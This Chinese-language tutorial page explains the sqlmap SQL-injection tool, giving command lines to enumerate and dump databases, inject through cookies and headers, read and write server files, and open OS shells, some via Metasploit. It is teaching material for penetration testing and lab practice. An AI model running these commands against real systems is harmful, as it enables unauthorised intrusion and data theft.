SQLMAP工具的使用

sql注入工具:明小子 啊D 萝卜头 穿山甲 sqlmap等等

开源自动化注入利用工具,支持12中数据库,在/plugins中可以看到支持的数据库种类

支持的注入类型:bool,时间,报错,联合,堆查询,内联

可以获取用户名 密码 权限 角色 数据库 (表,字段,内容)

可以爆破识别密文数据:

getshell

命令执行

脱库/删库

目录介绍

doc介绍文档

extra 他是sqlmap额外的功能,运行cmd执行命令

lib 是sqlmap核心功能代码

pluigins包含12种数据库识别程序

data 各种数据: procs包含了mssql mysql oracle postgresql 这四种数据库的触发程序

shell 远程命令和后门

txt 表名 列名 UA字典

udf 存放攻击载荷 payload

xml 存放检测脚本

tamper 包含各种绕waf 处理脚本

thirdparty 包含了第三方插件,颜色,优化等等

sqlmap

工作流程

1.初始化

2.开始检测

0>检测之前是否注入过(会把检测的URL默认存放在用户家目录下.sqlmap下的output

--output-dir参数可以指定存放的目录)

1>解析URL,判断该URL是否可以访问

2>检测是否有WAF

sqlmap -u "目标URL" --identify-waf

sqlmap -u "目标URL" --check-waf

3> 执行用户输入的参数

-u 指URL

-P 指定参数

-v 指定显示的级别

--dbs 数据库

--current-db 当前数据库

--tables 表

--columns 列名

--dump 获取数据,脱库

--batch 跳过问询(yes) 直接执行

--DBMS指定数据库类型

--risk 等级过高会使用到drop,update 语句,请不要超过2,除非是自己实验的数据库

--v 显示结果等级3.

步骤详解:

1.判断注入点:sqlmap -u "目标URL"  //当看到探测到结果中有环境参数(系统类型,数据库类型),则表明有注入点

2.查看所有数据库:sqlmap -u "目标URL" --dbs --dbms mysql

3.获取当前数据库:sqlmap -u "目标URL" --current-db --dbms mysql

4.获取当前数据库下的表:sqlmap -u "目标url" -D 库名 --tables --dbms mysql --tatch

5.获取当前数据库中指定表下的字段名:sqlmap -u "目标URL" -D 库名 -T 表名 --columns

6.获取指定字段对应的内容:sqlmap -u "目标URL" -D 库名 -T 表名 -C 字段名 --dump(注意:多个字段名需要使用,隔开)

指定参数:

python sqlmap.py -u "http://localhost/dvwa/vulnerabilities/sqli/?id=123&Submit=Submit#" -p id --cookie "security=low;PHPSESSID=ji8v90ct3smcr6nr2dr5bgr8d7"

cookie 注入:

python sqlmap.py -u "target" --cookie "uname=12" --level 2

python sqlmap.py -r bp拦截到的post包文档 --level 2

level 2以上会测试http cookie头的值.

level 3 以上会测试UA 和 HTTP referer头的值

xff注入:

sqlmap -r post_xff.txt --level 3

ua注入

python sqlmap.py -r post_ua.txt --level 3 --dbms mysql --batch

伪静态注入

python sqlmap.py -u "http://127.0.0.1/wjt/1*.html" //伪静态要加*,表明1这个位置是注入点

批量测试

python sqlmap.py -m targeturl.txt -beep

SQLMAP注入点执行系统命令或者交互式shell

(条件:1,数据库有写文件的权限 2.需要知道web站点路径)

sqlmap.py -u "target_url" --os-cmd=ipconfig 执行系统命令ipconfig

sqlmap.py -u "target_url" --os-shell 获取系统的shell

sqlmap.py -u "target_url" --is-dba 判断当前用户是不是dba

延时注入 --delay 2 延时 2s注入

sqlmap.py -u "target_url" --delay 2

sqlmap  --sql-query

sqlmap与msf结合使用

--os-pwn --msf-path /usr/share/metasploit-framework

--os-pwn用来与其他工具结合

--msf-path 指定msf所在位置

sqlmap读写文件

–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径

2019.10.28sql注入工具的更多相关文章

  1. 10个SQL注入工具(转载)

    众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL注入工具可帮助管理员及时检测存在的漏洞. BSQL Hacker 1 ...

  2. SQLmap自动注入工具命令(10.28 10.29 第二十八 二十九天)

    SQL注入工具:明小子  啊D   萝卜头   sqlmap  等等 SQLMAP:开源的自动化诸如利用工具,支持的数据库有12中,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他 ...

  3. 10 个 SQL 注入工具

    BSQL Hacker BSQL Hacker是由Portcullis实验室开发的,BSQL Hacker 是一个SQL自动注入工具(支持SQL盲注),其设计的目的是希望能对任何的数据库进行SQL溢出 ...

  4. 十大关系数据库SQL注入工具一览

    摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker ...

  5. 延迟注入工具(python)

    延迟注入工具(python) #!/usr/bin/env python # -*- coding: utf-8 -*- # 延迟注入工具 import urllib2 import time imp ...

  6. SQL注入工具实践

    程序简介 超级SQL注入工具(SSQLInjection)是一款基于HTTP协议自组包的SQL注入工具,支持出现在HTTP协议任意位置的SQL注入,支持各种类型的SQL注入,支持HTTPS模式注入. ...

  7. 每个Java开发人员都应该知道的10个基本工具

    大家好,我们已经在2019年的第9个月,我相信你们所有人已经在2019年学到了什么,以及如何实现这些目标.我一直在写一系列文章,为你提供一些关于你可以学习和改进的想法,以便在2019年成为一个更好的. ...

  8. 【2019.10.17】十天Web前端程序员体验(软件工程实践第五次作业)

    结对信息.具体分工 Github地址:https://github.com/MokouTyan/131700101-031702425 学号 昵称 主要负责内容 博客地址 131700101 莫多 代 ...

  9. TIZ_c 第0周总结(2019/10/15-2019/10/22)工欲善其事必先利其器

    TIZ_c 第0周总结(2019/10/15-2019/10/22)工欲善其事必先利其器 任务清单 给自己取一个酷酷的id,并选择1-2个喜欢的方向.(只是初步选择,后期可更改) 改下群名片.例如yo ...

随机推荐

  1. [spring]AOP(切面)编程

    AOP 即 Aspect Oriented Program 面向切面编程 首先,在面向切面编程的思想里面,把功能分为核心业务功能,和周边功能. 所谓的核心业务,比如登陆,增加数据,删除数据都叫核心业务 ...

  2. 解决 Elasticsearch 超过 10000 条无法查询的问题

    解决 Elasticsearch 超过 10000 条无法查询的问题 问题描述 分页查询场景,当查询记录数超过 10000 条时,会报错. 使用 Kibana 的 Dev Tools 工具查询 从第 ...

  3. Idea Debug多线程不进断点问题处理

    Idea也会使我狼狈不堪,Eclipse下约定成俗,却非Idea的默认规则. 比如 DEBUG多个线程时,Idea的默认设定就会遇到断点不能进入的问题. 解决的方法: 点击DEBUF框下的双红点(Vi ...

  4. linux常用命令(7)cp命令

    cp命令用来复制文件或者目录,是Linux系统中最常用的命令之一.一般情况下,shell会设置一个别名,在命令行下复制文件时,如果目标文件已经存在,就会询问是否覆盖,不管你是否使用-i参数.但是如果是 ...

  5. JavaEE_Test2_Servlet

    package servlet; import javax.servlet.http.HttpSession; import java.io.IOException; import java.io.P ...

  6. LeetCode.1089-重复的0(Duplicate Zeros)

    这是小川的第392次更新,第423篇原创 01 看题和准备 今天介绍的是LeetCode算法题中Easy级别的第255题(顺位题号是1089).给定一个固定长度的整数数组arr,复制每次出现的零,将剩 ...

  7. LeetCode.1078-两词出现后的单词(Occurrences After Bigram)

    这是小川的第392次更新,第422篇原创 01 看题和准备 今天介绍的是LeetCode算法题中Easy级别的第254题(顺位题号是1078).给出单词first和单词second,以"fi ...

  8. Java内存模型(二)volatile底层实现(CPU的缓存一致性协议MESI)

    CPU的缓存一致性协议MESI 在多核CPU中,内存中的数据会在多个核心中存在数据副本,某一个核心发生修改操作,就产生了数据不一致的问题,而一致性协议正是用于保证多个CPU cache之间缓存共享数据 ...

  9. springboot整合springdatajpa时jar冲突

    1.springboot整合springdatajpa测试时报No bean named 'entityManagerFactory' available错误 2.运行springboot主程序时报以 ...

  10. # 组合数学-组合数+lacus定理

    目录 数论-组合数+lacus定理 组合数计算 lacus定理-大组合数取模 数论-组合数+lacus定理 组合数计算 为避免爆long long,\(20!\)就达到了long long 的范围,采 ...